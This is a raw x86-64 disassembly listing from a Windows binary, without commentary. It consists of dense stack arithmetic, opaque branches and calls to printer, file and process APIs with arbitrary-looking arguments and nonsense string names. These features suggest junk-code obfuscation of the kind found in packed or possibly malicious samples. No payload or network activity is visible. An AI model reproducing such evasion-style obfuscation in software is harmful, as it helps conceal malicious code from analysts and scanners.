mov byte [rcx], al
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
add eax, ecx
mov byte [rsp + 0xe5], al
mov eax, dword [rsp + 0x1be8]
add eax, 0x37
mov dword [rsp + 0x1be8], eax
mov rax, qword [rsp + 0x3560]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c0]
shl eax, cl
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe4], al
mov eax, dword [rsp + 0x1b98]
mov rcx, qword [rsp + 0x3660]
mov qword [rsp + 0x36a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x36a0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x34d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x3510]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3658]
mov rcx, qword [rsp + 0x3508]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
cmp dword [rsp + 0x1be8], 0x3005
jbe 0x140057ec7
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov byte [rsp + 0x1c84], al
cmp byte [rsp + 0x1c84], 0xb2
je 0x1400581f3
cmp byte [rsp + 0x1c84], 0xc6
je 0x1400580ec
jmp 0x140058242
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x34c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3640]
mov rdx, qword [rsp + 0x3508]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jl 0x140058196
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
lea rax, [rsp + 0x148c0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x7b8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xcc
lea rax, [rsp + 0x35f8]
mov qword [rsp + 0x20], rax
mov r9d, 0xe1
mov r8d, 0x33
mov edx, 0x49
mov rcx, qword [rsp + 0x3628]
call sub.WINSPOOL.DRV_EnumJobsA
mov dword [rsp + 0x1c88], eax
jmp 0x1400581f1
movzx eax, word [rsp + 0x7b4]
movzx ecx, word [rsp + 0x7c0]
add eax, ecx
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
add eax, ecx
mov rcx, qword [rsp + 0x3668]
mov word [rcx], ax
lea r8, [rsp + 0x3690]
mov edx, 0xc4
lea rcx, str.AcquitsLatter_nay
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
mov dword [rsp + 0x1c6c], eax
jmp 0x140058242
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
sub eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
movzx ecx, byte [0x14017c010]
sar eax, cl
mov byte [rsp + 0xe0], al
mov rcx, qword [rsp + 0x35f8]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x1c6c], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
shl eax, cl
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x3560]
movzx edx, word [rdx]
or ecx, edx
cmp eax, ecx
jg 0x1400583a2
lea rax, [rsp + 0x720]
mov qword [rsp + 0x36a8], rax
movzx eax, byte [rsp + 0xe6]
mov byte [rsp + 0x1c8c], al
cmp byte [rsp + 0x1c8c], 0
je 0x1400582af
cmp byte [rsp + 0x1c8c], 0x5f
je 0x140058303
jmp 0x140058395
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
mov dword [rsp + 0x1c90], eax
mov rax, qword [rsp + 0x34c8]
mov rcx, qword [rsp + 0x3528]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34d0]
mov rcx, qword [rsp + 0x3660]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1bb8], eax
jmp 0x140058395
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov dword [rsp + 0x1c94], eax
cmp dword [rsp + 0x1c94], 0x37a
je 0x140058324
jmp 0x140058378
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3678]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xe6]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov byte [rsp + 0xe5], al
mov rdx, qword [0x14017c008]
mov rax, qword [rsp + 0x3518]
movzx ecx, byte [rax]
call fcn.140130610
nop
jmp 0x140058395
lea rdx, [rsp + 0x35f8]
lea rcx, [rsp + 0x34e8]
call qword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
mov dword [rsp + 0x1c98], eax
mov dword [rsp + 0x1c9c], 0xd494
jmp 0x1400583f6
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
xor eax, ecx
movzx ecx, word [rsp + 0x7b8]
movzx edx, word [rsp + 0x7c0]
and ecx, edx
cmp eax, ecx
je 0x1400583f6
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
call fcn.14012f7e0
nop
mov rax, qword [rsp + 0x3680]
mov rax, qword [rax]
mov qword [rsp + 0x36b0], rax
cmp qword [rsp + 0x36b0], 0
je 0x140058431
movabs rax, 0x148cb1e89638cbe5
cmp qword [rsp + 0x36b0], rax
je 0x14012ea42
jmp 0x14012eae1
mov eax, dword [rsp + 0x1bac]
mov rcx, qword [rsp + 0x3690]
mov qword [rsp + 0x36b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x36b8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3650]
mov dword [rcx], eax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3680]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3640]
mov qword [rsp + 0x36c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x36c0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3528], rax
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe2]
or eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14017ced0], ax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe5], al
mov eax, dword [rsp + 0x1bcc]
sub eax, 0x23
mov dword [rsp + 0x1bcc], eax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7c0]
add eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1bc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3678]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3528]
mov rcx, qword [rsp + 0x3658]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3178], rax
cmp dword [rsp + 0x1bcc], 0x1374
ja 0x140058431
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1bb8]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x1b98]
mov edx, dword [rsp + 0x1bc4]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14012e820
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3688]
cmp rax, qword [rcx]
ja 0x1400586c2
mov rax, qword [rsp + 0x3528]
mov rcx, qword [rsp + 0x3658]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3280], rax
mov dword [rsp + 0x20], 0xa5
lea r9, [rsp + 0x35a0]
mov r8d, 0x56
lea rdx, [rsp + 0x149e0]
mov rcx, qword [rsp + 0x36c8]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x1c6c], eax
mov eax, dword [rsp + 0x1c90]
mov ecx, dword [rsp + 0x1bac]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3678], rax
movzx r8d, byte [rsp + 0xe5]
mov rax, qword [rsp + 0x35c8]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x3560]
movzx ecx, word [rax]
call fcn.14012f840
nop
mov eax, dword [rsp + 0x1b98]
mov ecx, dword [rsp + 0x1ca0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b8]
xor eax, ecx
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x35a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
shl eax, cl
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bc0]
add eax, 0x3e
mov dword [rsp + 0x1bc0], eax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3680]
mov rcx, qword [rsp + 0x3528]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3660]
mov eax, dword [rax]
mov dword [rsp + 0x1ca0], eax
mov eax, dword [rsp + 0x1c90]
mov ecx, dword [rsp + 0x1bf8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
sub eax, ecx
mov word [rsp + 0x7bc], ax
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x35a0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017ced0], ax
movzx eax, byte [0x14017c010]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe0], al
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
mov rax, qword [rsp + 0x3650]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3690]
mov qword [rsp + 0x36d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x36d0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1b98]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3280]
movzx ecx, al
mov rax, qword [rsp + 0x3178]
shl rax, cl
mov rcx, qword [rsp + 0x34c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3678]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7b8], ax
movsx eax, byte [rsp + 0xe5]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe4]
and eax, ecx
mov byte [0x14017c010], al
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7bc], ax
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7bc], ax
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov rcx, qword [0x14017c008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3508]
mov rcx, qword [rsp + 0x3280]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3680]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1c5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3510]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1bc4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3560]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b8], ax
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x3518]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7bc]
xor eax, ecx
mov word [0x14017ced0], ax
movzx eax, word [rsp + 0x7b8]
movzx ecx, word [rsp + 0x7b4]
sar eax, cl
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
cmp dword [rsp + 0x1bc0], 0x8398
jb 0x1400586c2
mov eax, dword [rsp + 0x1bf8]
mov dword [rsp + 0x1ca4], eax
cmp dword [rsp + 0x1ca4], 0x24c1571
je 0x140058b3a
cmp dword [rsp + 0x1ca4], 0x5d8572c4
je 0x140058ae4
jmp 0x140058b5c
lea rax, [rsp + 0x3608]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x3640]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xa4
lea rax, [rsp + 0x7c0]
mov qword [rsp + 0x20], rax
mov r9d, 0x72
mov r8d, 0xe6
mov edx, 0x84
mov rcx, qword [rsp + 0x36c8]
call sub.WINSPOOL.DRV_EnumJobsA
mov dword [rsp + 0x1bd4], eax
jmp 0x140058b5c
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
lea rax, [rsp + 0x7b4]
mov qword [rsp + 0x36d8], rax
mov rax, qword [rsp + 0x3510]
mov rcx, qword [rsp + 0x3650]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3658]
mov rcx, qword [rsp + 0x3280]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3508], rax
mov eax, dword [rsp + 0x1bc4]
mov ecx, dword [rsp + 0x1ca0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b98], eax
mov rax, qword [rsp + 0x3688]
mov rax, qword [rax]
mov rcx, qword [0x14017c008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
and eax, ecx
mov rcx, qword [rsp + 0x35d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [0x14017c010], al
mov rax, qword [rsp + 0x3668]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x720]
sub eax, ecx
mov rcx, qword [rsp + 0x36a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x36d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
sub eax, ecx
mov word [rsp + 0x7b8], ax
movsx eax, byte [rsp + 0xe1]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x3658]
mov rcx, qword [rsp + 0x3508]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1b98]
mov rcx, qword [rsp + 0x3660]
mov qword [rsp + 0x36e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x36e0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1ca0], eax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3678]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3690]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1ba8]
shl eax, cl
mov dword [rsp + 0x1bf8], eax
mov eax, dword [rsp + 0x1bf4]
sub eax, 0x89
mov dword [rsp + 0x1bf4], eax
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x720], ax
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x35a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x35c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe0], al
movzx eax, word [rsp + 0x7b4]
mov rcx, qword [rsp + 0x34c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7b8], ax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe3], al
mov eax, dword [rsp + 0x1bac]
mov ecx, dword [rsp + 0x1bf8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c90], eax
mov rax, qword [rsp + 0x3658]
mov rcx, qword [rsp + 0x3178]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3508], rax
cmp dword [rsp + 0x1bf4], 0x66cd
jae 0x140058b6c
mov rax, qword [rsp + 0x3648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0xe2]
movzx edx, byte [rsp + 0xe4]
add ecx, edx
cmp eax, ecx
jne 0x140058eb1
mov rax, qword [rsp + 0x3688]
mov rcx, qword [0x14017c008]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3678], rax
mov eax, dword [rsp + 0x1bb8]
mov rcx, qword [rsp + 0x34d0]
mov qword [rsp + 0x36e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x36e8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov edx, 1
mov rcx, qword [rsp + 0x3628]
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov dword [rsp + 0x1c68], eax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xe6]
sar eax, cl
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
jmp 0x140058f91
lea rax, [rsp + 0x3678]
mov qword [0x14017ced8], rax
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0xe2]
xor eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rax, qword [rsp + 0x36d8]
movzx eax, word [rax]
mov word [rsp + 0x7c4], ax
mov rax, qword [rsp + 0x3280]
mov qword [rsp + 0x36f0], rax
cmp qword [rsp + 0x36f0], 0
je 0x140058f0c
jmp 0x140058f78
lea rax, [rsp + 0x720]
mov qword [rsp + 0x36f8], rax
movzx eax, word [rsp + 0x720]
mov word [rsp + 0x7c8], ax
mov eax, dword [rsp + 0x1b98]
mov ecx, dword [rsp + 0x1bc4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1bb8], eax
mov rax, qword [rsp + 0x3640]
mov rcx, qword [rsp + 0x3280]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3640]
mov qword [rcx], rax
lea rax, [rsp + 0x3678]
mov qword [rsp + 0x3700], rax
jmp 0x140058f91
mov eax, dword [rsp + 0x1bf8]
mov ecx, dword [rsp + 0x1c5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c90], eax
lea rax, [rsp + 0xe2]
mov qword [0x14017cee0], rax
mov rax, qword [rsp + 0x36d8]
movzx eax, word [rax]
mov dword [rsp + 0x1ca8], eax
cmp dword [rsp + 0x1ca8], 0xdd1
je 0x1400590af
cmp dword [rsp + 0x1ca8], 0xe78
je 0x140058fd5
jmp 0x140059190
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x36a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3178]
mov qword [rsp + 0x3708], rax
movabs rax, 0x7c6327fbf5a875f3
cmp qword [rsp + 0x3708], rax
je 0x14005901e
jmp 0x140059087
movsx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x35d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe1], al
mov dword [rsp + 0x20], 0x2b
lea r9, [rsp + 0x1bc4]
mov r8d, 0xea
lea rdx, [rsp + 0x7bc]
mov rcx, qword [rsp + 0x3628]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x1cac], eax
movzx edx, word [rsp + 0x7b4]
mov rax, qword [rsp + 0x34c0]
movzx ecx, word [rax]
call fcn.14012fec0
nop
jmp 0x1400590aa
mov rax, qword [rsp + 0x36d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x34e8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x34c0]
mov word [rcx], ax
jmp 0x140059190
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3688]
mov rdx, qword [rsp + 0x3700]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jb 0x14005916d
mov rax, qword [rsp + 0x35a0]
movzx eax, byte [rax]
mov byte [rsp + 0x1cb0], al
cmp byte [rsp + 0x1cb0], 0x1c
je 0x14005910e
cmp byte [rsp + 0x1cb0], 0x4b
je 0x14005914b
jmp 0x14005916d
mov r8d, 0x38
lea rdx, [rsp + 0x148c0]
lea rcx, str.defenceless_caging_Docked_Miniaturisation
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [rsp + 0x1b98], eax
movzx eax, byte [rsp + 0xe0]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [rsp + 0xe2], al
jmp 0x14005916d
mov rax, qword [rsp + 0x35a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3648]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x35c8]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x3710], rax
mov edx, dword [rsp + 0x1bb8]
mov rcx, qword [rsp + 0x3178]
call fcn.140130970
nop
mov eax, dword [rsp + 0x1bdc]
add eax, 0x7e
mov dword [rsp + 0x1bdc], eax
mov rax, qword [rsp + 0x34d0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1b98]
shr eax, cl
mov dword [rsp + 0x1bb8], eax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3688]
mov qword [rsp + 0x3718], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3718]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x3650]
mov rcx, qword [rsp + 0x3510]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3690]
mov dword [rcx], eax
movsx eax, word [rsp + 0x7bc]
movsx ecx, word [rsp + 0x720]
or eax, ecx
mov word [0x14017ced0], ax
mov rax, qword [rsp + 0x34e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
and eax, ecx
mov rcx, qword [rsp + 0x36d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x36a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3668]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
movsx eax, word [rsp + 0x720]
movsx ecx, word [rsp + 0x7c8]
add eax, ecx
mov rcx, qword [rsp + 0x36f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3518]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov byte [rsp + 0xe5], al
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0xe3]
sub eax, ecx
mov rcx, qword [rsp + 0x3648]
mov byte [rcx], al
mov rax, qword [rsp + 0x34d0]
mov ecx, dword [rsp + 0x1b98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [0x14017ced8]
mov rax, qword [rax]
mov rcx, qword [0x14017c008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3678], rax
mov rax, qword [rsp + 0x34c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3528]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3178], rax
movsx eax, word [rsp + 0x720]
movsx ecx, word [rsp + 0x7c8]
add eax, ecx
mov word [0x14017ced0], ax
movzx eax, word [rsp + 0x7b8]
movzx ecx, word [rsp + 0x7c4]
shl eax, cl
mov rcx, qword [rsp + 0x3560]
mov word [rcx], ax
movzx eax, word [rsp + 0x7c0]
movzx ecx, word [rsp + 0x7c4]
sar eax, cl
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0x35a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe6]
or eax, ecx
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x35d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
xor eax, ecx
mov rcx, qword [rsp + 0x3518]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0x35c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe3], al
mov eax, dword [rsp + 0x1bb8]
mov ecx, dword [rsp + 0x1bc4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3688]
mov rcx, qword [rsp + 0x3700]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3688]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3650]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1ba8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1c5c], eax
mov rax, qword [0x14017c008]
mov rcx, qword [rsp + 0x3678]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14017ced8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x36f8]
movsx eax, word [rax]
movsx ecx, word [0x14017ced0]
add eax, ecx
mov word [rsp + 0x7c8], ax
